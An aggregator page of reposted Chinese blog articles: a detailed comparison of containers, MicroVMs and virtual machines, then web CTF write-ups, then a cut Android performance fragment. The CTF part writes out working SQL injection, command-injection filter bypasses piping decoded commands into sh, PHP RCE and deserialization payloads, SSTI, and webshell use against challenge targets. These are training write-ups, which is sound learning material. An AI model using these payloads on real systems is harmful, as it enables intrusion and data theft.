根据上述对比来看,LXC是应用虚拟化首选的技术,如果LXC无法满足隔离性要,则可以考虑MicroVM这种技术。当前社区已经在着手融合LXC与MicroVM这两种技术,从应用打包/发布调度/运行层面统一规范,Kubernetes集成Kata支持混合应用调度特性可以了解一下。 UniKernel 在应用生态方面相对比较落后,目前在追赶中,目前通过 linuxkit 工具可以在UniKernel应用镜像中使用docker镜像。这种方式笔者还未验证过,另外docker镜像运行起来之后,如何监控目前还未知。 从上述三种应用虚拟化技术对比,可以得出结论: (2)容器技术与传统虚拟化技术不断融合中。 再从规范视角来看容器技术,可以将容器技术定义为: (3)容器=OCI+CRI+辅助工具。 OCI规范包含两部分,镜像规范与运行时规范。简要的说,要实现一个OCI的规范,需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构,运行时工具能够理解这个目录结构并基于此目录结构管理(创建/启动/停止/删除)进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统(Linux/Windows),OCI规范的实现技术不同,当前docker的实现,支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统,OCI的实现,在Linux上组成容器的主要技术: chroot: 通过分层文件系统堆叠出容器进程的rootfs,然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID,时间,文件系统挂载,网络,用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间,通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统,使用容器镜像分层文件堆叠的各种实现驱动,当前推荐的是overlay2。 广义的容器还包含容器编排,即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态,发布了CRI规范,通过CRI规范解耦Kubelet与容器,只要实现了CRI接口,都可以与Kubelet交互,从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 辅助工具用户构建镜像,验证镜像签名,管理存储卷等。 容器定义 容器是一种轻量化的应用虚拟化技术。 容器=OCI+CRI+辅助工具。 容器技术与传统虚拟化技术不断融合中。 什么是容器编排与调度 选择了应用虚拟化技术之后,还需要应用调度编排,当前Kubernetes是容器领域内编排的事实标准,不管使用何种应用虚拟化技术,都已经纳入到了Kubernetes治理框架中。 Kubernetes 通过 CRI 接口规范,将应用编排与应用虚拟化实现解耦:不管使用何种应用虚拟化技术(LXC, MicroVM, LibOS),都能够通过Kubernetes统一编排。 当前使用最多的是docker,其次是cri-o。docker与crio结合kata-runtime都能够支持多种应用虚拟化技术混合编排的场景,如LXC与MicroVM混合编排。 docker(now): Moby 公司贡献的 docker 相关部件,当前主流使用的模式。 docker(daemon) 提供对外访问的API与CLI(docker client) containerd 提供与 kubelet 对接的 CRI 接口实现 shim负责将Pod桥接到Host namespace。 cri-o: 由 RedHat/Intel/SUSE/IBM/Hyper 公司贡献的实现了CRI接口的符合OCI规范的运行时,当前包括 runc 与 kata-runtime ,也就是说使用 cir-o 可以同时运行LXC容器与MicroVM容器,具体在Kata介绍中有详细说明。 CRI-O: 实现了CRI接口的进程,与 kubelet 交互 crictl: 类似 docker 的命令行工具 conmon: Pod监控进程 other cri runtimes: 其他的一些cri实现,目前没有大规模应用到生产环境。 容器与传统虚拟化差异 容器(container)的技术构成 前面主要讲到的是容器与编排,包括CRI接口的各种实现,我们把容器领域的规范归纳为南向与北向两部分,CRI属于北向接口规范,对接编排系统,OCI就属于南向接口规范,实现应用虚拟化。 简单来讲,可以这么定义容器: 容器(container) ~= 应用打包(build) + 应用分发(ship) + 应用运行/资源隔离(run)。 build-ship-run 的内容都被定义到了OCI规范中,因此也可以这么定义容器: 容器(container) == OCI规范 OCI规范包含两部分,镜像规范与运行时规范。简要的说,要实现一个OCI的规范,需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构,运行时工具能够理解这个目录结构并基于此目录结构管理(创建/启动/停止/删除)进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统(Linux/Windows),OCI规范的实现技术不同,当前docker的实现,支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统,OCI的实现,在Linux上组成容器的主要技术: chroot: 通过分层文件系统堆叠出容器进程的rootfs,然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID,时间,文件系统挂载,网络,用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间,通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统,使用容器镜像分层文件堆叠的各种实现驱动,当前推荐的是overlay2。 广义的容器还包含容器编排,即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态,发布了CRI规范,通过CRI规范解耦Kubelet与容器,只要实现了CRI接口,都可以与Kubelet交互,从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 容器与虚拟机差异对比 容器与虚拟机的差异可以总结为2点:应用打包与分发的差异,应用资源隔离的差异。当然,导致这两点差异的根基是容器是以应用为中心来设计的,而虚拟化是以资源为中心来设计的,本文对比容器与虚拟机的差异,更多的是站在应用视角来对比。 从3个方面对比差异:资源隔离,应用打包与分发,延伸的日志/监控/DFX差异。 1.资源隔离 隔离机制差异 容器 虚拟化 mem/cpu cgroup, 使用时候设定 require 与 limit 值 QEMU, KVM network Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), 跨虚拟机或出公网访问:SNAT/DNAT, service转发:iptables/ipvs, SR-IOV Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), QEMU, SR-IOV storage 本地存储: 容器存储驱动 本地存储:virtio-blk 差异引入问题与实践建议 应用程序未适配 cgroup 的内存隔离导致问题: 典型的是 JVM 虚拟机,在 JVM 启动时候会根据系统内存自动设置 MaxHeapSize 值,通常是系统内存的1/4,但是 JVM 并未考虑 cgroup 场景,读系统内存时候任然读取主机的内存来设置 MaxHeapSize,这样会导致内存超过 cgroup 限制从而导致进程被 kill 。问题详细阐述与解决建议参考Java inside docker: What you must know to not FAIL。 多次网络虚拟化问题: 如果在虚拟机内使用容器,会多一层网络虚拟化,并加入了SNAT/DNAT技术, iptables/ipvs技术,对网络吞吐量与时延都有影响(具体依赖容器网络方案),对问题定位复杂度变高,同时还需要注意网络内核参数调优。 典型的网络调优参数有:转发表大小 /proc/sys/net/netfilter/nf_conntrack_max 使用iptables 作为service转发实现的时候,在转发规则较多的时候,iptables更新由于需要全量更新导致非常耗时,建议使用ipvs。详细参考[华为云在 K8S 大规模场景下的 Service 性能优化实践](https://zhuanlan.zhihu.com/p/37230013)。 容器IP地址频繁变化不固定,周边系统需要协调适配,包括基于IP地址的白名单或防火墙控制策略需要调整,CMDB记录的应用IP地址需要适配动态IP或者使用服务名替代IP地址。 存储驱动带来的性能损耗: 容器本地文件系统是通过联合文件系统方式堆叠出来的,当前主推与默认提供的是overlay2驱动,这种模式应用写本地文件系统文件或修改已有文件,使用Copy-On-Write方式,也就是会先拷贝源文件到可写层然后修改,如果这种操作非常频繁,建议使用 volume 方式。 2.应用打包与分发 应用打包/分发/调度差异 容器 虚拟化 打包 打包既部署 一般不会把应用程序与虚拟机打包在一起,通过部署系统部署应用 分发 使用镜像仓库存储与分发 使用文件存储 调度运行 使用K8S亲和/反亲和调度策略 使用部署系统的调度能力 差异引入问题与实践建议 部署提前到构建阶段,应用需要支持动态配置与静态程序分离;如果在传统部署脚本中依赖外部动态配置,这部分需要做一些调整。 打包格式发生变化,制作容器镜像需要注意安全/效率因素,可参考Dockerfile最佳实践 容器镜像存储与分发是按layer来组织的,镜像在传输过程中放篡改的方式是传统软件包有差异。 3.监控/日志/DFX 差异 容器 虚拟化 监控 cpu/mem的资源上限是cgroup定义的;containerd/shim/docker-daemon等进程的监控 传统进程监控 日志采集 stdout/stderr日志采集方式变化;日志持久化需要挂载到volume;进程会被随机调度到其他节点导致日志需要实时采集否则分散很难定位 传统日志采集 问题定位 进程down之后自动拉起会导致问题定位现场丢失;无法停止进程来定位问题因为停止即删除实例 传统问题定位手段 差异引入问题实践与建议 使用成熟的监控工具,运行在docker中的应用使用cadvisor+prometheus实现采集与警报,cadvisor中预置了常用的监控指标项 对于docker管理进程(containerd/shim/docker-daemon)也需要一并监控 使用成熟的日志采集工具,如果已有日志采集Agent,则可以考虑将日志文件挂载到volume后由Agent采集;需要注意的是stderr/stdout输出也要一并采集 如果希望容器内应用进程退出后保留现场定位问题,则可以将Pod的restartPolicy设置为never,进程退出后进程文件都还保留着(/var/lib/docker/containers)。但是这么做的话需要进程没有及时恢复,会影响业务,需要自己实现进程重拉起。 团队配合 与周边的开发团队、架构团队、测试团队、运维团队评审并交流方案,与周边团队达成一致。 落地策略与注意事项 逐步演进过程中网络互通 根据当前已经存在的基础实施情况,选择容器化落地策略。通常使用逐步演进的方式,由于容器化引入了独立的网络namespace导致容器与传统虚拟机进程网络隔离,逐步演进过程中如何打通隔离的网络是最大的挑战。 分两种场景讨论: 不同服务集群之间使用VIP模式互通: 这种模式相对简单,基于VIP做灰度发布。 不同服务集群之间使用微服务点对点模式互通(SpringCloud/ServiceComb/Dubbo都是这一类): 这种模式相对复杂,在逐步容器化过程中,要求容器网络与传统虚拟机网络能够互通(难点是在虚拟机进程内能够直接访问到容器网络的IP地址),当前解决这个问题有几种方法。 自建Kubernetes场景,可使用开源的kube-router,kube-router 使用BGP协议实现容器网络与传统虚拟机网络之间互通,要求网络交换机支持BGP协议。 使用云厂商托管Kubernetes场景,选择云厂商提供的VPC-Router互通的网络插件,如阿里云的Terway网络插件, 华为云的Underlay网络模式。 选择物理机还是虚拟机 选择物理机运行容器还是虚拟机运行容器,需要结合基础设施与业务隔离性要求综合考虑。分两种场景:自建IDC、租用公有云。 自建IDC: 理想情况是使用物理机组成一个大集群,根据业务诉求,对资源保障与安全性要求高的应用,使用MicorVM方式隔离;普通应用使用LXC方式隔离。所有物理机在一个大集群内,方便削峰填谷提升资源利用率。 租用公有云:当前公有云厂家提供的裸金属服务价格较贵且只能包周期,使用裸金属性价比并不高,使用虚拟机更合适。 集群规模与划分 选择集群时候,是多个应用共用一个大集群,还是按应用分组分成多个小集群呢?我们把节点规模数量>=1000的定义为大集群,节点数<1000的定义为小集群。 大集群的优点是资源池共享容器,方便资源调度(削峰填谷);缺点是随着节点数量与负载数量的增多,会引入管理性能问题(需要量化): DNS 解析表变大,增加/删除 Service 或 增加/删除 Endpoint 导致DNS表刷新慢 K8S Service 转发表变大,导致工作负载增加/删除刷新iptables/ipvs记录变慢 etcd 存储空间变大,如果加上ConfigMap,可能导致 etcd 访问时延增加 小集群的优点是不会有管理性能问题,缺点是会导致资源碎片化,不容易共享。共享分两种情况: 应用之间削峰填谷:目前无法实现 计算任务与应用之间削峰填谷:由于计算任务是短时任务,可以通过上层的任务调度软件,在多个集群之间分发计算任务,从而达到集群之间资源共享的目的。 选择集群规模的时候,可以参考上述分析,结合实际情况选择适合的集群划分。 Helm? Helm是为了解决K8S管理对象散碎的问题,在K8S中并没有"应用"的概念,只有一个个散的对象(Deployment, ConfigMap, Service, etc),而一个"应用"是多个对象组合起来的,且这些对象之间还可能存在一定的版本配套关系。 Helm 通过将K8S多个对象打包为一个包并标注版本号形成一个"应用",通过 Helm 管理进程部署/升级这个"应用"。这种方式解决了一些问题(应用分发更方便)同时也引入了一些问题(引入Helm增加应用发布/管理复杂度、在K8S修改了对象后如何同步到Helm)。对于是否需要使用Helm,建议如下: 在自运维模式下不使用Helm: 自运维模式下,很多场景是开发团队交付一个运行包,运维团队负责部署与配置下发,内部通过兼容性或软件包与配置版本配套清单、管理软件包与配置的配套关系。 在交付软件包模式下使用Helm: 交付软件包模式下,Helm 这种把散碎组件组装为一个应用的模式比较适合,使用Helm实现软件包分发/部署/升级场比较简单。 Reference DOCKER vs LXC vs VIRTUAL MACHINES Cgroup与LXC简介 Introducing Container Runtime Interface (CRI) in Kubernetes frakti rkt appc-spec OCI 和 runc:容器标准化和 docker Linux 容器技术史话:从 chroot 到未来 Linux Namespace和Cgroup Java inside docker: What you must know to not FAIL QEMU,KVM及QEMU-KVM介绍 kvm libvirt qemu实践系列(一)-kvm介绍 KVM 介绍(4):I/O 设备直接分配和 SR-IOV [KVM PCI/PCIe Pass-Through SR-IOV] prometheus-book 到底什么是Unikernel? The Rise and Fall of the Operating System The Design and Implementation of the Anykernel and Rump Kernels UniKernel Unikernel:从不入门到入门 OSv 京东如何打造K8s全球最大集群支撑万亿电商交易 Cloud Native App Hub 更多云最佳实践 https://best.practices.cloud 本篇文章为转载内容。原文链接:https://blog.csdn.net/sinat_33155975/article/details/118013855。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-17 15:03:28
226
转载
转载文章
...拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
304
转载
转载文章
...以尝试通过事件采样的方案,减少 event 的处理 4.动画处理:主要是 animator 动画的更新,同理,动画数量过多,或者动画的更新中有比较耗时的逻辑,也会造成当前帧的渲染卡顿。对动画的降帧和降复杂度其实解决的就是这个问题; 5.view 处理:主要是接下来的三大流程,过度绘制、频繁刷新、复杂的视图效果都是此处造成卡顿的主要原因。比如我们平时所说的降低页面层级,主要解决的就是这个问题; 6.measure/layout/draw:view 渲染的三大流程,因为涉及到遍历和高频执行,所以这里涉及到的耗时问题均会被放大,比如我们会降不能在 draw 里面调用耗时函数,不能 new 对象等等; 7.DisplayList 的更新:这里主要是 canvas 和 displaylist 的映射,一般不会存在卡顿问题,反而可能存在映射失败导致的显示问题; 8.OpenGL 指令转换:这里主要是将 canvas 的命令转换为 OpenGL 的指令,一般不存在问题 9.buffer 交换:这里主要指 OpenGL 指令集交换给 GPU,这个一般和指令的复杂度有关 10.GPU 处理:顾名思义,这里是 GPU 对数据的处理,耗时主要和任务量和纹理复杂度有关。这也就是我们降低 GPU 负载有助于降低卡顿的原因; 11.layer 合成:Android P 修改了 Layer 的计算方法 , 把这部分放到了 SurfaceFlinger 主线程去执行, 如果后台 Layer 过多, 就会导致 SurfaceFlinger 在执行 rebuildLayerStacks 的时候耗时 , 导致 SurfaceFlinger 主线程执行时间过长。 可以选择降低Surface层级来优化卡顿。 12.光栅化/Display:这里暂时忽略,底层系统行为; Buffer 切换:主要是屏幕的显示,这里 buffer 的数量也会影响帧的整体延迟,不过是系统行为,不能干预。 2.系统负载 内存:内存的吃紧会直接导致 GC 的增加甚至 ANR,是造成卡顿的一个不可忽视的因素; CPU:CPU 对卡顿的影响主要在于线程调度慢、任务执行的慢和资源竞争,比如 1.降频会直接导致应用卡顿; 2.后台活动进程太多导致系统繁忙,cpu \ io \ memory 等资源都会被占用, 这时候很容易出现卡顿问题 ,这种情况比较常见,可以使用dumpsys cpuinfo查看当前设备的cpu使用情况: 3.主线程调度不到 , 处于 Runnable 状态,这种情况比较少见 4.System 锁:system_server 的 AMS 锁和 WMS 锁 , 在系统异常的情况下 , 会变得非常严重 , 如下图所示 , 许多系统的关键任务都被阻塞 , 等待锁的释放 , 这时候如果有 App 发来的 Binder 请求带锁 , 那么也会进入等待状态 , 这时候 App 就会产生性能问题 ; 如果此时做 Window 动画 , 那么 system_server 的这些锁也会导致窗口动画卡顿 GPU:GPU 的影响见渲染流程,但是其实还会间接影响到功耗和发热; 功耗/发热:功耗和发热一般是不分家的,高功耗会引起高发热,进而会引起系统保护,比如降频、热缓解等,间接的导致卡顿。 如何监控卡顿 线下监控: 我们知道卡顿问题的原因错综复杂,但最终都可以反馈到CPU使用率上来 1.使用dumpsys cpuinfo命令 这个命令可以获取当时设备cpu使用情况,我们可以在线下通过重度使用应用来检测可能存在的卡顿点 A8S:/ $ dumpsys cpuinfoLoad: 